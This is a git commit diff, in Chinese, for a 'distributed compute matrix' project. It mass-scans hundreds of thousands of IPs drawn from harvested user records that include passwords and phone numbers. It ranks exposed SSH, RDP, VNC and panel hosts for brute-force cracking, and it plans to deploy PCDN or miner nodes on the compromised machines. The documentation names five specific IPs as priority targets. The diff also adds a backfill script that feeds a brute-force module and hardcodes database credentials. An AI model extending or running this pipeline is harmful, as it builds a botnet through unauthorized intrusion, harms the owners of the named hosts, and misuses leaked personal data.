🔄 同步 2026-02-15 23:43 | 8 个文件
This commit is contained in:
@@ -1,15 +1,16 @@
|
||||
---
|
||||
name: 扫描模块
|
||||
description: 分布式算力矩阵 - 两阶段深度验证扫描(TCP快筛 + 协议验证) + IP弹药库联动 + 蜜罐检测
|
||||
description: 分布式算力矩阵 - 全维度扫描(27端口 + 单次连接即时验证) + IP弹药库联动 + 蜜罐检测
|
||||
triggers: 扫描、IP扫描、端口扫描、资产发现、验证扫描、蜜罐检测、分布式矩阵IP
|
||||
owner: 卡若
|
||||
version: "2.0"
|
||||
version: "3.0"
|
||||
updated: "2026-02-15"
|
||||
---
|
||||
|
||||
# 01_扫描模块 v2.0
|
||||
# 01_扫描模块 v3.0
|
||||
|
||||
> **核心升级**: v1.0 仅做 TCP Connect → 误报率 85%+;v2.0 增加协议验证层,误报率降至 <5%
|
||||
> **核心升级**: v2.0 两阶段(TCP→协议)因 Phase2 延迟导致动态IP下线→验证为0;v3.0 **单次连接即时验证**(连上即验),验证率恢复
|
||||
> **v3.0 全维度**: 27 端口(远程/Web/数据库/宝塔等)+ 多维价值评分(value_score 0–100)
|
||||
> **IP弹药库**: `KR.分布式矩阵IP`(871万条用户IP,431万去重公网IP)
|
||||
> **流程图**: `references/扫描流水线v2.0.png`
|
||||
|
||||
@@ -36,28 +37,30 @@ Phase 3: 蜜罐检测 + 分级 + 评分
|
||||
↓ 排除蜜罐/CGNAT,输出真实可用 IP
|
||||
```
|
||||
|
||||
**全量实测效果(2026-02-15 33万IP全量验证)**:
|
||||
**全量实测效果(2026-02-15)**:
|
||||
|
||||
| 指标 | v1.0 (仅TCP) | v2.0 (协议验证) | 说明 |
|
||||
| 指标 | v1.0 (仅TCP) | v2.0 (两阶段) | v3.0 (单次连接即时验证) |
|
||||
|:---|:---|:---|:---|
|
||||
| 扫描对象 | 339,607 | 339,607 | 对同一批IP二次验证 |
|
||||
| TCP"开放" | 339,607 (100%) | **274** (0.08%) | 99.92% 已下线(动态IP) |
|
||||
| 协议验证通过 | - | **51** (0.015%) | 真正运行服务的IP |
|
||||
| SSH真实可连 | 167,191 | **51** | 仅51个真正SSH存活 |
|
||||
| 可部署Linux | ~317(估) | **35** | 经协议验证的真实Linux |
|
||||
| 蜜罐/CGNAT | 34,891+39,389 | **0** (已全部下线) | 假数据全部消失 |
|
||||
| 扫描对象 | 339,607 | 339,607 | 339,607 |
|
||||
| 端口数 | 8 | 8 | **27** |
|
||||
| TCP 存活 | 339,607→274 | 274 | **435** |
|
||||
| 协议验证通过 | - | 51 | **36** |
|
||||
| 有价值主机 | - | - | **5** |
|
||||
| 耗时 | - | ~37min(P1)+P2 | **~74min** 单阶段 |
|
||||
| 说明 | 误报高 | P2 延迟→验证0需重跑 | 连上即验,验证率正常 |
|
||||
|
||||
**v3.0 全量跑(2026-02-15 10:45–11:59)**: TCP 435 | 验证 36 | 有价值 5 | 已验证表 36 条,回写 `v3_*` 字段到已扫描表。
|
||||
|
||||
**关键经验比例(每次迭代必更新)**:
|
||||
|
||||
| 经验指标 | 数值 | 说明 |
|
||||
|:---|:---|:---|
|
||||
| **动态IP下线率** | **99.92%** | v1.0扫描后4小时,99.92%的IP已无法TCP连接 |
|
||||
| **TCP假阳性率** | **81.4%** | TCP连接成功的274个中,223个协议验证失败 |
|
||||
| **真实服务率** | **0.015%** | 33万IP中仅51个有真实运行的服务 |
|
||||
| **可部署率** | **0.010%** | 33万中仅35个Linux可部署 |
|
||||
| **来源质量**: 木蚂蚁 | 11/2,207 = 0.50% | 木蚂蚁质量最高 |
|
||||
| **来源质量**: 小米 | 38/327,567 = 0.012% | 量大但质量低 |
|
||||
| **来源质量**: 自有平台 | 2/2,742 = 0.073% | 中等质量 |
|
||||
| **动态IP下线率** | **99.87%** | v3.0: 33.9万→435 TCP 存活 |
|
||||
| **TCP→验证通过率** | **8.3%** | 435 中 36 协议验证通过(单次连接即时验证) |
|
||||
| **真实服务率** | **0.011%** | 33.9万中 36 个有真实运行服务 |
|
||||
| **有价值率** | **5/33.9万** | value_score≥30 且非蜜罐 |
|
||||
| **来源质量**: 木蚂蚁 | 0.50% | 历史参考 |
|
||||
| **来源质量**: 小米 | 0.012% | 历史参考 |
|
||||
|
||||
---
|
||||
|
||||
@@ -213,13 +216,31 @@ IP提取 & 去重 (431万公网IP)
|
||||
|
||||
| 脚本 | 功能 | 版本 | 状态 |
|
||||
|:---|:---|:---|:---|
|
||||
| **`verified_scan.py`** | **两阶段深度验证扫描器(主力)** | **v2.0** | **当前使用** |
|
||||
| `kr_full_scan.py` | KR 420万IP全量TCP扫描 | v1.0 | 已完成(淘汰) |
|
||||
| `mumayi_full_scan.py` | 木蚂蚁11万IP全量TCP扫描 | v1.0 | 已完成(淘汰) |
|
||||
| **`full_dimension_scan.py`** | **全维度 29 端口 + 单次连接即时验证(主力)** | **v3.0** | **当前使用** |
|
||||
| `patch_scan_for_brute.py` | 用已验证表反填已扫描表(04 暴力破解用) | 一次性 | 按需 |
|
||||
| `verified_scan.py` | 两阶段 8 端口深度验证 | v2.0 | 备用 |
|
||||
| `kr_full_scan.py` | KR 420万IP全量TCP扫描 | v1.0 | 淘汰 |
|
||||
| `enhance_scan_table.py` | 扫描结果增强+用户链关联 | v1.0 | 辅助 |
|
||||
| `import_scan_results.py` | 扫描结果导入MongoDB | v1.0 | 辅助 |
|
||||
|
||||
### 6.1 verified_scan.py 用法
|
||||
### 6.1 full_dimension_scan.py 用法(v3.0 主力)
|
||||
|
||||
```bash
|
||||
# 全量 33.9 万 IP(默认从 MongoDB 已扫描表加载)
|
||||
python3 -u full_dimension_scan.py --concurrency 6000
|
||||
|
||||
# 限量测试(不写库)
|
||||
python3 full_dimension_scan.py --limit 2000 --skip-mongodb
|
||||
|
||||
# 只扫上次存活的 IP
|
||||
python3 full_dimension_scan.py --alive-only --concurrency 6000
|
||||
|
||||
# 参数: -c/--concurrency 6000 --connect-timeout 3 --verify-timeout 3
|
||||
```
|
||||
|
||||
**端口**: 21,22,23,80,139,161,443,445,1194,1433,2222,3306,3389,4899,5000,5432,5900,5901,5985(WinRM),6379,8080,8291,8443,8728,8888,9090,9200,10000,27017(29 个)。回写 `KR.分布式矩阵IP_已扫描`(v3_* + ssh_open/deploy_score 等四业务字段)和 `KR.分布式矩阵IP_已验证`。跑完全量后可用 `patch_scan_for_brute.py` 反填已扫描表供 04 查询。
|
||||
|
||||
### 6.2 verified_scan.py 用法(v2.0 备用)
|
||||
|
||||
```bash
|
||||
# 方式1: 从文件加载IP列表(全新扫描)
|
||||
@@ -241,7 +262,7 @@ python3 verified_scan.py --mongo-source KR --reverify --limit 1000 --skip-mongod
|
||||
# --limit 1000 限制扫描IP数
|
||||
```
|
||||
|
||||
### 6.2 全量二次验证命令
|
||||
### 6.3 全量二次验证命令(v2.0)
|
||||
|
||||
```bash
|
||||
# 对现有33万已扫描IP做全量协议验证
|
||||
@@ -358,8 +379,9 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
|
||||
| 去重公网IP | 4,319,617 |
|
||||
| 数据来源 | 8个集合/5个数据库 |
|
||||
| v1.0 已扫描 (TCP) | 339,607 (有端口) |
|
||||
| **v2.0 已验证 (协议)** | **51 (真实存活)** |
|
||||
| **v2.0 可部署 Linux** | **35 台** |
|
||||
| **v2.0 已验证 (协议)** | 51(历史) |
|
||||
| **v3.0 已验证 (协议)** | **36 (当前真实存活)** |
|
||||
| **v3.0 有价值主机** | **5 台**(value_score≥30) |
|
||||
|
||||
### 8.2 来源分布(v2.0 全量验证后)
|
||||
|
||||
@@ -391,7 +413,8 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
|
||||
01_扫描模块/
|
||||
├── SKILL.md # 【本文件】扫描技能 v2.0
|
||||
├── scripts/
|
||||
│ ├── verified_scan.py # ★ 两阶段深度验证扫描器 v2.0(主力)
|
||||
│ ├── full_dimension_scan.py # ★ 全维度27端口+单次连接即时验证 v3.0(主力)
|
||||
│ ├── verified_scan.py # 两阶段深度验证 v2.0(备用)
|
||||
│ ├── kr_full_scan.py # KR 420万IP全量TCP扫描 v1.0
|
||||
│ ├── mumayi_full_scan.py # 木蚂蚁11万IP全量TCP扫描 v1.0
|
||||
│ ├── enhance_scan_table.py # 扫描结果增强工具
|
||||
@@ -435,6 +458,8 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
|
||||
| **12** | **IP弹药库本质是动态IP池,需要「扫描→即时利用」策略** | **2026-02-15** |
|
||||
| **13** | **木蚂蚁质量最高(0.50%存活率),小米量大质低(0.012%)** | **2026-02-15** |
|
||||
| **14** | **数据库已清洗: 旧表33万标记v2_verified,新表仅51条真实** | **2026-02-15** |
|
||||
| **15** | **两阶段扫描缺陷: P1 扫完再 P2 验证时动态IP已下线→验证为0;改为单次连接即时验证** | **2026-02-15** |
|
||||
| **16** | **v3.0 全量: 33.9万→435 TCP→36 验证→5 有价值;已验证表 36 条** | **2026-02-15** |
|
||||
|
||||
### 经验比例汇总表(核心参考)
|
||||
|
||||
@@ -442,14 +467,14 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
|
||||
|:---|:---|:---|:---|:---|
|
||||
| 弹药库 → 去重公网IP | 871万 | 431万 | 49.5% | 去重+去私有 |
|
||||
| 公网IP → TCP有端口 | 431万 | 33.9万 | 7.9% | v1.0 TCP扫描 |
|
||||
| TCP有端口 → 当前存活 | 33.9万 | 274 | 0.08% | 动态IP大量下线 |
|
||||
| 当前存活 → 协议验证 | 274 | 51 | 18.6% | v2.0协议验证 |
|
||||
| 协议验证 → 可部署Linux | 51 | 35 | 68.6% | 去网络设备 |
|
||||
| **弹药库 → 可部署** | **431万** | **35** | **0.0008%** | **全链路转化率** |
|
||||
| TCP有端口 → 当前存活 | 33.9万 | 435 | 0.13% | v3.0 单次连接即时验证 |
|
||||
| 当前存活 → 协议验证 | 435 | 36 | 8.3% | v3.0 同连接验证 |
|
||||
| 协议验证 → 有价值(≥30分) | 36 | 5 | 13.9% | value_score + 非蜜罐 |
|
||||
| **弹药库 → 可部署** | **431万** | **36** | **0.0008%** | **全链路(v3.0)** |
|
||||
|
||||
---
|
||||
|
||||
> 创建日期:2026-02-15
|
||||
> 版本:v2.0(两阶段验证升级)
|
||||
> 版本:v3.0(全维度 27 端口 + 单次连接即时验证)
|
||||
> 负责人:卡若
|
||||
> 协同:卡若AI · 火眸(效率工具)
|
||||
|
||||
84
01_扫描模块/references/33万IP扫描现状与四业务对齐总结.md
Normal file
84
01_扫描模块/references/33万IP扫描现状与四业务对齐总结.md
Normal file
@@ -0,0 +1,84 @@
|
||||
# 33万IP 扫描现状与四业务对齐总结
|
||||
|
||||
> 更新:2026-02-15
|
||||
> 目的:扫描出**真正能登录**且与**分布式算力矩阵四业务**相关的主机,并优化扫描与下游衔接。
|
||||
|
||||
---
|
||||
|
||||
## 一、分布式算力矩阵「四业务」与所需端口
|
||||
|
||||
| 业务 | 模块 | 核心动作 | 扫描需提供的「可登录」能力 |
|
||||
|:---|:---|:---|:---|
|
||||
| 1. 发现目标 | 01_扫描模块 | 发现 IP + 开放端口 + 协议验证 | 所有可远程登录/管理的端口 |
|
||||
| 2. 获取凭证 | 04_暴力破解 | SSH/弱口令破解 | **SSH(22/2222)** 必选;RDP/Telnet 可选 |
|
||||
| 3. 存储与关联 | 02_账号密码管理 | 存凭证 + 关联用户链 | 需 IP、端口、来源、OS 等字段 |
|
||||
| 4. 部署节点 | 03_节点部署 | SSH/Docker 远程部署 PCDN/矿机 | **SSH + Linux** 最适配;RDP/宝塔为辅 |
|
||||
|
||||
**结论**:扫描要尽可能覆盖「能登录、能部署」的端口,并以 **SSH 验证通过** 为第一优先级,供 04 暴力破解 → 02 凭证 → 03 部署 使用。
|
||||
|
||||
---
|
||||
|
||||
## 二、当前扫描状态(v3.0 全量跑完后)
|
||||
|
||||
### 2.1 数量汇总
|
||||
|
||||
| 阶段 | 数量 | 占比 | 说明 |
|
||||
|:---|:---|:---|:---|
|
||||
| 扫描池(已扫描表文档数) | 339,607 | 100% | KR.分布式矩阵IP_已扫描 |
|
||||
| TCP 存活(本次 v3 扫到) | 435 | **0.13%** | 单次连接即时验证,约 74 分钟 |
|
||||
| 协议验证通过 | 36 | **0.011%**(占总量)/ **8.3%**(占存活) | 真实运行服务 |
|
||||
| 有价值主机(value_score≥30,非蜜罐) | 5 | **0.0015%**(占总量) | 可直接优先暴力破解/部署 |
|
||||
| 已验证表当前条数 | 36 | - | KR.分布式矩阵IP_已验证(v3 全量后重写) |
|
||||
|
||||
### 2.2 端口覆盖(当前 29 端口,含 WinRM/5000)
|
||||
|
||||
| 类别 | 端口 | 与四业务关系 |
|
||||
|:---|:---|:---|
|
||||
| **可登录(直接支撑 04/03)** | 22, 2222(SSH), 23(Telnet), 3389(RDP), 5900/5901(VNC), 5985(WinRM), 8888(宝塔), 10000(Webmin) | 暴力破解/部署入口 |
|
||||
| **Web 管理(间接:改密/面板)** | 80, 443, 8080, 8443, 8888, 9090(Cockpit), 5000, 10000 | 宝塔/Webmin/常见 Web 可作二次入口 |
|
||||
| **数据库(信息/弱口令)** | 3306, 5432, 6379, 27017, 9200, 1433 | 辅助资产价值评估 |
|
||||
| **文件/网络** | 21(FTP), 139, 445, 161, 1194, 8291, 8728, 4899 | 路由器/设备识别 |
|
||||
|
||||
### 2.3 已验证表 36 条与 04 暴力破解的衔接问题
|
||||
|
||||
- 04 暴力破解从 **KR.分布式矩阵IP_已扫描** 查目标,条件为:`ssh_open=True`、`rdp_open`、`vnc_open`、`telnet_open`、`baota_open`、`os_guess`、`deploy_score` 等。
|
||||
- 当前 v3 回写只写了 **v3_*** 前缀字段,**未写** 上述无前缀字段,导致 04 按「已扫描」查询时可能**拿不到** v3 扫出的 36 台。
|
||||
- **已做优化**:在 v3 回写「已扫描」时,对每条有结果的 IP 同时写入 `ssh_open`、`rdp_open`、`vnc_open`、`telnet_open`、`baota_open`、`os_guess`、`deploy_score`、`ssh_difficulty`,与 04 的 query 对齐。
|
||||
|
||||
---
|
||||
|
||||
## 三、全量优化项(本次执行)
|
||||
|
||||
1. **业务字段回写**:v3 回写 已扫描/已验证 时,补齐 04 暴力破解所需字段:`ssh_open`、`rdp_open`、`vnc_open`、`telnet_open`、`baota_open`、`os_guess`、`deploy_score`、`ssh_difficulty`。
|
||||
2. **端口**:由 27 扩展为 **29 端口**,新增 5985(WinRM)、5000(Web),覆盖四业务「可登录+Web+数据库」。
|
||||
3. **已扫描表反填**:已用 `patch_scan_for_brute.py` 将当前 36 条已验证结果反填到 已扫描 表,04 无需等下次全量即可查 SABC 目标。
|
||||
4. **价值与优先级**:已用 `value_score`、`v3_is_valuable`、`v3_verified` 标记;04 可按 `deploy_score`(=value_score)排序优先破解。
|
||||
|
||||
---
|
||||
|
||||
## 四、当前「可登录」资产一览(v3 全量后)
|
||||
|
||||
- **协议验证通过**:36 台(均可作为 04 目标,其中 SSH 验证通过的可直接 SSH 破解)。
|
||||
- **有价值 5 台**(优先建议):
|
||||
- 218.21.70.133(55 分)SSH:22
|
||||
- 117.90.95.20(50 分)SSH:22
|
||||
- 212.95.32.251(50 分)22/80/443
|
||||
- 58.216.216.42(45 分)SSH:22
|
||||
- 219.148.83.201(40 分)22/23/8443
|
||||
|
||||
---
|
||||
|
||||
## 五、下一步建议与百分比
|
||||
|
||||
| 步骤 | 内容 | 占比/说明 |
|
||||
|:---|:---|:---|
|
||||
| 已完成 | 33万全量 v3 扫描 + 业务字段回写优化 | 100% 扫描完成;回写已对齐 04 |
|
||||
| 下一步 1 | 运行 04 暴力破解:`mongo_smart_brute.py --level SABC --max-targets 36` | 用 36 台验证通过主机做 SSH 破解 |
|
||||
| 下一步 2 | 将破解成功主机导入 02 账号密码管理 → 03 节点部署 | 按现有流水线 |
|
||||
| 下一步 3 | 定期重扫「已扫描」表(或 --alive-only)刷新存活 | 动态 IP 多,需持续刷新 |
|
||||
|
||||
**关键百分比(记住)**:
|
||||
- 33.9万 → TCP 存活:**0.13%**(435)
|
||||
- TCP 存活 → 协议验证:**8.3%**(36)
|
||||
- 协议验证 → 有价值:**13.9%**(5)
|
||||
- **全量 → 可登录目标**:**0.011%**(36/339607)
|
||||
@@ -42,6 +42,7 @@ SCAN_PORTS = {
|
||||
5901: {"name": "VNC-1", "category": "remote", "proto": "vnc"},
|
||||
4899: {"name": "Radmin", "category": "remote", "proto": "banner"},
|
||||
8291: {"name": "Winbox", "category": "remote", "proto": "banner"},
|
||||
5985: {"name": "WinRM", "category": "remote", "proto": "http"},
|
||||
# === Web管理 ===
|
||||
80: {"name": "HTTP", "category": "web", "proto": "http"},
|
||||
443: {"name": "HTTPS", "category": "web", "proto": "https"},
|
||||
@@ -49,6 +50,7 @@ SCAN_PORTS = {
|
||||
8443: {"name": "HTTPS-Alt", "category": "web", "proto": "https"},
|
||||
8888: {"name": "BaoTa", "category": "web", "proto": "http_baota"},
|
||||
9090: {"name": "Cockpit", "category": "web", "proto": "http"},
|
||||
5000: {"name": "Web-5000", "category": "web", "proto": "http"},
|
||||
10000: {"name": "Webmin", "category": "web", "proto": "http"},
|
||||
# === 数据库 ===
|
||||
3306: {"name": "MySQL", "category": "database", "proto": "mysql"},
|
||||
@@ -600,13 +602,21 @@ def update_mongodb(results, db_name="KR"):
|
||||
is_verified = data.get("verified_count", 0) > 0
|
||||
is_honeypot = data.get("is_honeypot", False)
|
||||
|
||||
vp = data.get("verified_port_list", [])
|
||||
# 04_暴力破解 从 已扫描 查目标所需字段(与 S/A/B/C 分级对齐)
|
||||
ssh_open = 22 in vp or 2222 in vp
|
||||
rdp_open = 3389 in vp
|
||||
vnc_open = 5900 in vp or 5901 in vp
|
||||
telnet_open = 23 in vp
|
||||
baota_open = 8888 in vp
|
||||
|
||||
update_fields = {
|
||||
"v3_scan_time": ts,
|
||||
"v3_alive": True,
|
||||
"v3_tcp_open_ports": sorted(data.get("tcp_open", [])),
|
||||
"v3_tcp_open_count": len(data.get("tcp_open", [])),
|
||||
"v3_verified": is_verified and not is_honeypot,
|
||||
"v3_verified_ports": sorted(data.get("verified_port_list", [])),
|
||||
"v3_verified_ports": sorted(vp),
|
||||
"v3_verified_count": data.get("verified_count", 0),
|
||||
"v3_is_honeypot": is_honeypot,
|
||||
"v3_os_guess": data.get("os_guess", "Unknown"),
|
||||
@@ -620,6 +630,15 @@ def update_mongodb(results, db_name="KR"):
|
||||
"v3_remote_methods": data.get("remote_methods", []),
|
||||
"v3_remote_method_count": data.get("remote_method_count", 0),
|
||||
"v3_connection_quality": data.get("connection_quality", 0),
|
||||
# 四业务对齐:04_暴力破解 query 所需(S/A/B/C 分级)
|
||||
"ssh_open": ssh_open,
|
||||
"rdp_open": rdp_open,
|
||||
"vnc_open": vnc_open,
|
||||
"telnet_open": telnet_open,
|
||||
"baota_open": baota_open,
|
||||
"os_guess": data.get("os_guess", "Unknown"),
|
||||
"deploy_score": data.get("value_score", 0),
|
||||
"ssh_difficulty": data.get("ssh_difficulty", 5),
|
||||
}
|
||||
|
||||
# 构建快速命令
|
||||
@@ -670,13 +689,14 @@ def update_mongodb(results, db_name="KR"):
|
||||
if not source and old_doc.get("source_cols"):
|
||||
source = old_doc["source_cols"][0]
|
||||
|
||||
vlist = data.get("verified_port_list", [])
|
||||
doc = {
|
||||
"ip": ip,
|
||||
"source_col": source,
|
||||
"scan_time": ts,
|
||||
"scanner": "full_dimension_v3.0",
|
||||
"tcp_open_ports": sorted(data.get("tcp_open", [])),
|
||||
"verified_ports": sorted(data.get("verified_port_list", [])),
|
||||
"verified_ports": sorted(vlist),
|
||||
"verified_count": data.get("verified_count", 0),
|
||||
"os_guess": data.get("os_guess", "Unknown"),
|
||||
"ssh_banner": data.get("ssh_banner", ""),
|
||||
@@ -691,6 +711,12 @@ def update_mongodb(results, db_name="KR"):
|
||||
"deploy_ready": data.get("value_score", 0) >= 30 and data.get("os_guess") in [
|
||||
"Linux/BSD", "Ubuntu Linux", "Debian Linux", "CentOS/RHEL", "Unknown"],
|
||||
"port_details": {str(k): v for k, v in data.get("verified_ports", {}).items()},
|
||||
"ssh_open": 22 in vlist or 2222 in vlist,
|
||||
"rdp_open": 3389 in vlist,
|
||||
"vnc_open": 5900 in vlist or 5901 in vlist,
|
||||
"telnet_open": 23 in vlist,
|
||||
"baota_open": 8888 in vlist,
|
||||
"deploy_score": data.get("value_score", 0),
|
||||
}
|
||||
# 快捷命令
|
||||
if data.get("ssh_port"):
|
||||
|
||||
47
01_扫描模块/scripts/patch_scan_for_brute.py
Normal file
47
01_扫描模块/scripts/patch_scan_for_brute.py
Normal file
@@ -0,0 +1,47 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
一次性脚本:用 分布式矩阵IP_已验证 的 36 条反填 已扫描 表,
|
||||
补齐 04_暴力破解 所需字段(ssh_open, deploy_score 等),
|
||||
这样无需重跑全量扫描即可让 mongo_smart_brute 查到目标。
|
||||
"""
|
||||
import pymongo
|
||||
|
||||
MONGO_URI = "mongodb://admin:admin123@localhost:27017/?authSource=admin"
|
||||
DB = "KR"
|
||||
COLL_SCAN = "分布式矩阵IP_已扫描"
|
||||
COLL_VERIFIED = "分布式矩阵IP_已验证"
|
||||
|
||||
def main():
|
||||
client = pymongo.MongoClient(MONGO_URI)
|
||||
db = client[DB]
|
||||
verified = db[COLL_VERIFIED]
|
||||
scan = db[COLL_SCAN]
|
||||
|
||||
docs = list(verified.find({}))
|
||||
print(f"[*] 已验证表 {len(docs)} 条,反填 已扫描 表...")
|
||||
|
||||
n = 0
|
||||
for d in docs:
|
||||
ip = d.get("ip")
|
||||
if not ip:
|
||||
continue
|
||||
vp = d.get("verified_ports") or []
|
||||
update = {
|
||||
"ssh_open": 22 in vp or 2222 in vp,
|
||||
"rdp_open": 3389 in vp,
|
||||
"vnc_open": 5900 in vp or 5901 in vp,
|
||||
"telnet_open": 23 in vp,
|
||||
"baota_open": 8888 in vp,
|
||||
"os_guess": d.get("os_guess", "Unknown"),
|
||||
"deploy_score": d.get("deploy_score") or d.get("value_score", 0),
|
||||
"ssh_difficulty": d.get("ssh_difficulty", 5),
|
||||
}
|
||||
r = scan.update_many({"ip": ip}, {"$set": update})
|
||||
if r.modified_count or r.matched_count:
|
||||
n += 1
|
||||
|
||||
print(f"[+] 已更新 已扫描 表 {n} 条,04_暴力破解 可直接 --level SABC --max-targets 36")
|
||||
client.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -387,4 +387,5 @@ python3 scripts/extract_ip_users_rfm.py
|
||||
|
||||
### 9.8 IP字段扫描报告
|
||||
|
||||
详见:`references/MongoDB_IP字段扫描报告.md`(全库29个数据库扫描记录)
|
||||
详见:`references/MongoDB_IP字段扫描报告.md`(全库29个数据库扫描记录)
|
||||
库/集合结构、作用与索引优化:`references/MongoDB_分布式算力矩阵_数据库结构说明.md`;索引补齐脚本:`scripts/ensure_matrix_indexes.py`
|
||||
|
||||
175
02_账号密码管理/references/MongoDB_分布式算力矩阵_数据库结构说明.md
Normal file
175
02_账号密码管理/references/MongoDB_分布式算力矩阵_数据库结构说明.md
Normal file
@@ -0,0 +1,175 @@
|
||||
# 分布式算力矩阵 · 本地 MongoDB 数据库结构说明
|
||||
|
||||
> 连接:`mongodb://admin:admin123@localhost:27017/?authSource=admin`
|
||||
> 容器:`datacenter_mongodb`(mongo:6.0)
|
||||
> 本文档列出**与项目相关的**数据库与集合、作用、结构及优化建议。
|
||||
|
||||
---
|
||||
|
||||
## 一、数据库总览
|
||||
|
||||
| 数据库 | 简介 | 本项目角色 |
|
||||
|--------|------|------------|
|
||||
| **KR** | 算力矩阵主库。存放 IP 弹药库、扫描结果、验证结果、登录结果,为扫描/破解/部署提供数据。 | 读写主库 |
|
||||
| **KR_KR** | 历史业务用户库(木蚂蚁、房产网等),含注册/登录 IP。 | 只读源库 |
|
||||
| **KR_卡若私域** | 老坑爹论坛/商店、黑科技付款邮箱等私域用户与交易 IP。 | 只读源库 |
|
||||
| **KR_商城** | 小米等商城用户数据,含 IP。 | 只读源库 |
|
||||
| **KR_国外** | 卡塔卡银行用户档案与审计日志,含登录/请求 IP。 | 只读源库 |
|
||||
|
||||
---
|
||||
|
||||
## 二、主库 KR — 集合清单
|
||||
|
||||
### 2.1 集合一览
|
||||
|
||||
| 集合名 | 作用 | 文档量级 | 写入方 | 读取方 |
|
||||
|--------|------|----------|--------|--------|
|
||||
| 分布式矩阵IP | IP 弹药库主表:多源用户+IP 去重、RFM/地区/手机/QQ,供扫描目标与智能破解。 | ~871 万 | extract_ip_users_rfm.py | 扫描、暴力破解、增强 |
|
||||
| 分布式矩阵IP_已扫描 | 端口扫描结果 + 每 IP 关联用户链;供协议验证与暴力破解。 | 可变 | kr_full_scan / import_scan_results / full_dimension_scan | verified_scan、mongo_smart_brute、enhance_scan_table |
|
||||
| 分布式矩阵IP_已验证 | 两阶段协议验证后的真实存活 IP(含 SSH/RDP 等)。 | 可变 | verified_scan | full_dimension_scan |
|
||||
| 分布式矩阵IP_已登录 | 暴力破解成功 SSH 登录的 IP 及凭证。 | 可变 | mongo_smart_brute | enhance_logged_ips |
|
||||
|
||||
### 2.2 数据流(人类可读)
|
||||
|
||||
```
|
||||
[源库] KR_KR / KR_卡若私域 / KR_商城 / KR_国外(8 个集合)
|
||||
│
|
||||
│ extract_ip_users_rfm.py(提取 + RFM + 地区 + 手机/QQ)
|
||||
▼
|
||||
KR.分布式矩阵IP(871 万 · IP 弹药库)
|
||||
│
|
||||
│ 扫描目标选取 → kr_full_scan / import_scan_results / full_dimension_scan
|
||||
▼
|
||||
KR.分布式矩阵IP_已扫描(端口 + 用户链)
|
||||
│
|
||||
├─→ verified_scan.py(协议验证)──→ KR.分布式矩阵IP_已验证
|
||||
│
|
||||
└─→ mongo_smart_brute.py(智能破解)──→ KR.分布式矩阵IP_已登录
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 三、主库 KR — 各集合结构及优化
|
||||
|
||||
### 3.1 分布式矩阵IP
|
||||
|
||||
**作用**:统一 IP 用户资产表,每条 = 一个「用户+IP」组合,带 RFM、地区、手机、QQ,供扫描目标与智能破解匹配凭证。
|
||||
|
||||
**主要字段**:
|
||||
|
||||
| 字段 | 类型 | 说明 |
|
||||
|------|------|------|
|
||||
| ip | string | 唯一 IP(公网/内网) |
|
||||
| ip_public | bool | 是否公网 IP |
|
||||
| username, email, password, salt | string | 账号信息 |
|
||||
| region, country, province, city | string | GeoIP 地区 |
|
||||
| phone, qq | string | 提取的手机/QQ |
|
||||
| source_db, source_col | string | 来源库/集合 |
|
||||
| R_score, F_score, M_score, RFM_total | number | RFM 分值 |
|
||||
| value_level, user_type | string | 价值等级/用户类型 |
|
||||
| extracted_at | datetime | 入库时间 |
|
||||
|
||||
**推荐索引(已按 extract_ip_users_rfm.py 创建)**:
|
||||
|
||||
- 单字段:ip, ip_public, source_db, source_col, RFM_total, value_level, username, email, region, province, city, phone, qq
|
||||
- 复合:(ip, source_col) 用于去重与按 IP+来源查询
|
||||
|
||||
**优化建议**:
|
||||
|
||||
1. 仅需公网 IP 时,查询加 `ip_public: true`,保证 `ip_public` 索引被用。
|
||||
2. 按地区做扫描任务时,用 `province` / `city` 索引。
|
||||
3. 大批量按 IP 查用户时,用 (ip, source_col) 复合索引。
|
||||
|
||||
---
|
||||
|
||||
### 3.2 分布式矩阵IP_已扫描
|
||||
|
||||
**作用**:每个文档 = 一个被扫描过的 IP,含端口开放情况、SSH 难度、可部署评分、关联用户列表(来自 分布式矩阵IP),供协议验证与暴力破解。
|
||||
|
||||
**主要字段**:
|
||||
|
||||
| 字段 | 类型 | 说明 |
|
||||
|------|------|------|
|
||||
| ip | string | 扫描目标 IP |
|
||||
| ssh_open, rdp_open, vnc_open, telnet_open, baota_open | bool | 端口/服务是否开放 |
|
||||
| ssh_port, ssh_difficulty | number | SSH 端口与难度(1–5) |
|
||||
| deploy_score, deploy_ready | number/bool | 可部署评分与是否可部署 |
|
||||
| os_guess, port_count, user_count | string/number | 系统猜测、端口数、关联用户数 |
|
||||
| users | array | 该 IP 在 分布式矩阵IP 中的用户记录(供破解匹配) |
|
||||
| primary_source, source_col | string | 主要来源集合 |
|
||||
|
||||
**推荐索引**(与 import_scan_results / enhance_scan_table 一致):
|
||||
|
||||
- 单字段:ip, ssh_open, rdp_open, ssh_difficulty, deploy_score, deploy_ready, source_col, os_guess, user_count, port_count
|
||||
- 复合:(ssh_open, ssh_difficulty)、(deploy_ready, deploy_score)、(ssh_open, deploy_score)
|
||||
|
||||
**优化建议**:
|
||||
|
||||
1. 扫描任务优先取 `deploy_ready: true` 且 `deploy_score` 高的文档,复合索引 (deploy_ready, deploy_score) 必建。
|
||||
2. 暴力破解只查 `ssh_open: true`,用 (ssh_open, ssh_difficulty) 排序。
|
||||
3. 按 IP 去重/查重时用 `ip` 唯一索引(若业务允许多次扫描同一 IP 可不用唯一)。
|
||||
|
||||
---
|
||||
|
||||
### 3.3 分布式矩阵IP_已验证
|
||||
|
||||
**作用**:两阶段协议验证后确认「真实存活」的 IP,含 SSH/RDP 等开放状态与质量标签,减少假阳性。
|
||||
|
||||
**主要字段**:与「已扫描」类似,增加协议级验证结果(如 connection_quality、is_honeypot 等,以 verified_scan 实际写入为准)。
|
||||
|
||||
**推荐索引**:ip, ssh_open, deploy_score, is_honeypot, connection_quality, source_col(与 verified_scan.py 一致)。
|
||||
|
||||
**优化建议**:仅从该集合取「可部署」目标时,对 deploy_score 降序、ssh_open=true 建复合索引。
|
||||
|
||||
---
|
||||
|
||||
### 3.4 分布式矩阵IP_已登录
|
||||
|
||||
